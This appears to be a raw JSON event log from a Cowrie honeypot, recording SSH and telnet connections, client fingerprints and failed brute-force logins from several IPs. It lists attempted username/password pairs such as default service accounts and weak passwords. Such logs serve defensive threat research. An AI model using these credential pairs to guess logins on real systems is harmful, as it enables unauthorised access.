{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:28.723984Z","src_ip":"103.97.179.160","session":"5ead572e1303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps123!@#","message":"login attempt [root/vps123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:29.334653Z","src_ip":"103.97.179.160","session":"5ead572e1303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:30.544435Z","src_ip":"103.97.179.160","session":"5ead572e1303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54784,"dst_ip":"159.203.135.109","dst_port":22,"session":"faf9e7078734","protocol":"ssh","message":"New connection: 122.168.114.167:54784 (159.203.135.109:22) [session: faf9e7078734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:32.173986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:34.956183Z","src_ip":"122.168.114.167","session":"faf9e7078734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:34.960402Z","src_ip":"122.168.114.167","session":"faf9e7078734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":33250,"dst_ip":"10.17.0.5","dst_port":22,"session":"23772fde368b","protocol":"ssh","message":"New connection: 106.75.222.164:33250 (10.17.0.5:22) [session: 23772fde368b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:39.141273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:39.145953Z","src_ip":"106.75.222.164","session":"23772fde368b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:39.386082Z","src_ip":"106.75.222.164","session":"23772fde368b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:40.389258Z","src_ip":"106.75.222.164","session":"23772fde368b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:41.633507Z","src_ip":"106.75.222.164","session":"23772fde368b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:45.653438Z","src_ip":"122.168.114.167","session":"faf9e7078734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:49.524783Z","src_ip":"122.168.114.167","session":"faf9e7078734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57202,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c0ddf4c6d36","protocol":"ssh","message":"New connection: 122.168.114.167:57202 (159.203.135.109:22) [session: 8c0ddf4c6d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:14.636330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:16.707880Z","src_ip":"122.168.114.167","session":"8c0ddf4c6d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:16.711446Z","src_ip":"122.168.114.167","session":"8c0ddf4c6d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.58.79.133","src_port":44776,"dst_ip":"10.17.0.5","dst_port":23,"session":"e578e34566ba","protocol":"telnet","message":"New connection: 152.58.79.133:44776 (10.17.0.5:23) [session: e578e34566ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:19.809600Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":49742,"dst_ip":"10.17.0.5","dst_port":22,"session":"287a5eb8e5c4","protocol":"ssh","message":"New connection: 103.97.179.160:49742 (10.17.0.5:22) [session: 287a5eb8e5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:24.270369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:24.276193Z","src_ip":"103.97.179.160","session":"287a5eb8e5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:25.371512Z","src_ip":"103.97.179.160","session":"287a5eb8e5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345","message":"login attempt [user3/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:25.984734Z","src_ip":"103.97.179.160","session":"287a5eb8e5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:26.728441Z","src_ip":"122.168.114.167","session":"8c0ddf4c6d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:27.196264Z","src_ip":"103.97.179.160","session":"287a5eb8e5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:29.680563Z","src_ip":"122.168.114.167","session":"8c0ddf4c6d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59608,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cb1f747fbff","protocol":"ssh","message":"New connection: 122.168.114.167:59608 (159.203.135.109:22) [session: 8cb1f747fbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:53.833564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:55.953167Z","src_ip":"122.168.114.167","session":"8cb1f747fbff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:48:55.957077Z","src_ip":"122.168.114.167","session":"8cb1f747fbff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:05.524127Z","src_ip":"122.168.114.167","session":"8cb1f747fbff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:08.540578Z","src_ip":"122.168.114.167","session":"8cb1f747fbff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":36801,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cfe888f1852","protocol":"ssh","message":"New connection: 2.57.121.112:36801 (159.203.135.109:22) [session: 9cfe888f1852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:17.831290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:17.836232Z","src_ip":"2.57.121.112","session":"9cfe888f1852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:17.937481Z","src_ip":"2.57.121.112","session":"9cfe888f1852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18111972","message":"login attempt [admin/18111972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:18.417507Z","src_ip":"2.57.121.112","session":"9cfe888f1852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18111970","message":"login attempt [admin/18111970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:19.554248Z","src_ip":"2.57.121.112","session":"9cfe888f1852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18101972","message":"login attempt [admin/18101972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:20.657702Z","src_ip":"2.57.121.112","session":"9cfe888f1852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18091974","message":"login attempt [admin/18091974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:21.762161Z","src_ip":"2.57.121.112","session":"9cfe888f1852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18091970","message":"login attempt [admin/18091970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:22.866159Z","src_ip":"2.57.121.112","session":"9cfe888f1852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":42038,"dst_ip":"10.17.0.5","dst_port":22,"session":"6de8662ee088","protocol":"ssh","message":"New connection: 103.97.179.160:42038 (10.17.0.5:22) [session: 6de8662ee088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:23.913584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:23.918797Z","src_ip":"103.97.179.160","session":"6de8662ee088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:23.970064Z","src_ip":"2.57.121.112","session":"9cfe888f1852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:24.940324Z","src_ip":"103.97.179.160","session":"6de8662ee088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2022","message":"login attempt [test/test@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:25.551052Z","src_ip":"103.97.179.160","session":"6de8662ee088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:26.757455Z","src_ip":"103.97.179.160","session":"6de8662ee088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33782,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9d3e745f3af","protocol":"ssh","message":"New connection: 122.168.114.167:33782 (159.203.135.109:22) [session: b9d3e745f3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:34.153030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:49:36.264816Z","src_ip":"122.168.114.167","session":"b9d3e745f3af","protocol":"ssh"}
